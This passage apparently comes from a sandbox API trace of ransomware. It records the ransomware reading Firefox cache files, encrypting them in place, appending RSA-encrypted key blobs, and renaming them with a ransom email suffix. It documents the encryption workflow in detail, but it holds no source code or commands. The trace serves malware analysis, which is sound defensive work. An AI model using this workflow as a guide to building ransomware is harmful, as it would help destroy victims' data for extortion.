lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2b52 [0280.719] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.719] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YYF9FfDTzxZlL8H1Hr5yRSNe37Ltx9OXBd7apXkZEYBpDIn1IFJqaz8sgEN2UgbA\nk9t/pzC+1hXofVuz7BON+x3dUXQPwdwBciK8gpoCZUCWSyoaEj/yigxRD4He7Lpp\nRNQltTiRyW2pP8jf9306qdKbBWcy0p2ze/jCZrapRfDckY0IyNUZIUhAfiBUAJSy\nYj3Lu52xE0S10MpztzWyf609I+PgIQKeLwcVnB2WluM5wQaCWXD0wYsJh8lwBbML\ns+JfMbl4YXkgY2izceZ8XqOa8Hq5xt33bGBnG89Hb46k8bg5oHowo4J9+6p9zyM9\nFcBbEkrqcyXGrJyk32oiig==\n", pcchString=0x2e3f9a8) returned 1 [0280.720] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.720] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.720] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.720] CloseHandle (hObject=0x1b84) returned 1 [0280.721] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e538cac2c914514ecc5b580e31b0737ff540eb1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E538CAC2C914514ECC5B580E31B0737FF540EB1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e538cac2c914514ecc5b580e31b0737ff540eb1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.723] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.723] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045", dwFileAttributes=0x80) returned 1 [0280.723] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x73, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x73, lpOverlapped=0x0) returned 1 [0280.724] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-115, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.724] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x73, lpOverlapped=0x0) returned 1 [0280.725] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x73 [0280.725] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.725] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.725] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.726] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.726] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.726] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="l6RmP1apfaAYtAatSx/ifIOGt47jZweb8r54GxfNfyvwqpKVHvA2eVMiZyV3Q6OG\nsf5uvwAGlUmVLogHqaAvkAX/5VQEs+sqMmfpIFkACzk4TsJNp1gs9E9IvBb9A//N\naKMpOH+M08oK4W2SC4RO5SfMimevusXGPMhqsTEsm0Albv9QFkLaWibxUfByFStq\nTGqDT7AHnFONcKxd3lgInDwiZV0g9QWuM5IKnfc6Xz2+2gd0jng8oGW1ioAk3d05\nf9VnoCQ8nDMZG2K5XXrwu6bZ7miSQqWU5wiYp0bQ7JVhFGJR/MD9/kJiC3mHFqG3\nsXdCxrZFMr8PZNGOFc6FoQ==\n", pcchString=0x2e3f9a8) returned 1 [0280.726] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.726] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.727] CloseHandle (hObject=0x1b84) returned 1 [0280.727] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e42820479fadf666581b0704fa4af901ae0e045"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3E42820479FADF666581B0704FA4AF901AE0E045.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3e42820479fadf666581b0704fa4af901ae0e045.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.730] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.730] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635", dwFileAttributes=0x80) returned 1 [0280.731] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1167, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1167, lpOverlapped=0x0) returned 1 [0280.732] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.732] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a198*, nNumberOfBytesToWrite=0x1167, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1167, lpOverlapped=0x0) returned 1 [0280.733] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1167 [0280.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.733] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VD3W2oWO/oGgiRq+HSpz6GX/o9lsnuLJrz0hJ5+yv2q0DC9V1Wjj+1CuR26ZzndU\nqdFquxNohZEeQtsAazPgE1z7m0jyPCAFA2uwhhQoRA5pD7Zj2abrEkRBbjSBJYq7\nN6pJMwkRQD1C0pSHkwXx9V3Bv66ausHjvcpNbod6s0K7jxp2dCcp4tsqoWNRaX+I\nLOBlM+b3jhdVevyLsQ7Bkimx9ryOwaiWiG6Go4mavjTcnBVGUoSCgKUufJt0h530\niFuLnCTQp+D7kd/gXiSNLraahouF+B78a4Ej/GFvDESIVeAwtv20VK5PZHq4nV2V\nr+PIQrAr3VkW2udpko1WRA==\n", pcchString=0x2e3f9a8) returned 1 [0280.734] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.734] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.734] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.734] CloseHandle (hObject=0x1b84) returned 1 [0280.735] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3dcfed4321069ab90ba910dd348e0cd9794c6635"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3DCFED4321069AB90BA910DD348E0CD9794C6635.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3dcfed4321069ab90ba910dd348e0cd9794c6635.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.737] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.737] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83", dwFileAttributes=0x80) returned 1 [0280.738] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdfb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfb, lpOverlapped=0x0) returned 1 [0280.892] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.892] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xdfb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfb, lpOverlapped=0x0) returned 1 [0280.893] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfb [0280.893] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.893] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.894] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.894] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.894] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.894] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vsiuvRefgUi350N9OgfiHWDXUpvqVwO6mjz8Xsra0SG18Y+QLT9eB3yyKILIYd3h\nJKaSDB9wwsrqzDpl2ZK0ck7IU7qG+T4yAfYOHb7rSBJJSUOPbCyyVuJzC3pBAAOe\ngYnu/CJUg8QsjdtAi01TpqqYvg3yIAoENYFAtX7EnSsJ9uB1YUzDOfwBkv96n6ea\nLag1TnpUc+A+F5lt9mCy7bJnAE0AoI4R+cn3BvorBZRpwMZxBq24+HCcQa2cRnXu\ny8RCt7bTV/c1rtKGO7JCP7vabTRTdLw5Sv8mrbVarTmGwU1j8YMTi8BcfYLC5Z+5\nn5VpOjPjc6I5Dc2gTD95Qw==\n", pcchString=0x2e3f9a8) returned 1 [0280.894] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.895] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.895] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.895] CloseHandle (hObject=0x1b84) returned 1 [0280.895] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ca20deb68ab8e1e6a7da60d8461e855b8232d83"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ca20deb68ab8e1e6a7da60d8461e855b8232d83.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.897] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.898] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118", dwFileAttributes=0x80) returned 1 [0280.898] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x15e1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x15e1, lpOverlapped=0x0) returned 1 [0280.982] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5601, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.982] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a618*, nNumberOfBytesToWrite=0x15e1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a618*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e1, lpOverlapped=0x0) returned 1 [0280.983] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15e1 [0280.983] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.983] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.984] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.984] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.984] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.984] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4gWin6A61ORr4XgMmZEMzzwCgEa4mffoawwf9vUwtbRe80suK/yq0ln/mizd3VGo\nk1xbVpmVHu6wK6I0iZ+h+2LTNImKmrLv9EPvG5vwWJ92dObO58YrOs7bhyhJ+noI\npIUrWSprsYY6tfrQHVmwd4Iy1RUlEaJg3b8oyhf6FzldFgeWXJTB/RClo9vyDr95\nXIaxme/eTPDIx6uuu5ErPNN7b/Yh9iYPEU/k25wcK6jUPeXL/QGFG3ho19AD2mtf\n2xjhdiAuW4TfZErMlWNI8wr6E+vmi10vo1gFvWCkKGTG/7ayrVgolsH1oO+rVKdW\ngbRYV09/tdvhdSRS7SLxYg==\n", pcchString=0x2e3f9a8) returned 1 [0280.984] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.985] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.985] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.985] CloseHandle (hObject=0x1b84) returned 1 [0280.985] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3bee3d0affdc410177d8f779928d53f5b4b92118"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3BEE3D0AFFDC410177D8F779928D53F5B4B92118.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3bee3d0affdc410177d8f779928d53f5b4b92118.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.010] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA", dwFileAttributes=0x80) returned 1 [0281.010] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x128b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x128b, lpOverlapped=0x0) returned 1 [0281.113] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.113] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a2c0*, nNumberOfBytesToWrite=0x128b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x128b, lpOverlapped=0x0) returned 1 [0281.113] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x128b [0281.113] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.113] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.114] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.114] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.114] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.114] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8EoTxUYGPP8lBa+9DDwhtg6GDM8tdyMA7mnkBAXQx8eeShlCjcdrX8qb8esi37hy\nit+rmGYPiksW94ZU0Wx7aExSckC480z+y8O9XF+JMLgSpyfEwNUUoXjgHoMkGTZA\nEZNLMgGYIY4XEKEciTA/D3CCoOPtzxve1447m0I5HmXwL2wSBv/Dvcdb6lQv4Ue2\nucwv3PGuDIF87EbJQN/92rbATHfKwki0QLrWwhNnOLP133bgQxMPtjL1OQW2s48F\nBuC4kjlIqma7g2ThP6P4JyV9UJ7mjn+a/ZzyzLweVT1Fs/3FgV35yWJhy+44wg6i\nMExrkbS/Or4h0O/E0UNMFQ==\n", pcchString=0x2e3f9a8) returned 1 [0281.114] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.115] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.115] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.115] CloseHandle (hObject=0x1b84) returned 1 [0281.115] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ae6c68d35addca7c407967b028013e0d14c1caa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3AE6C68D35ADDCA7C407967B028013E0D14C1CAA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3ae6c68d35addca7c407967b028013e0d14c1caa.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.117] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.117] 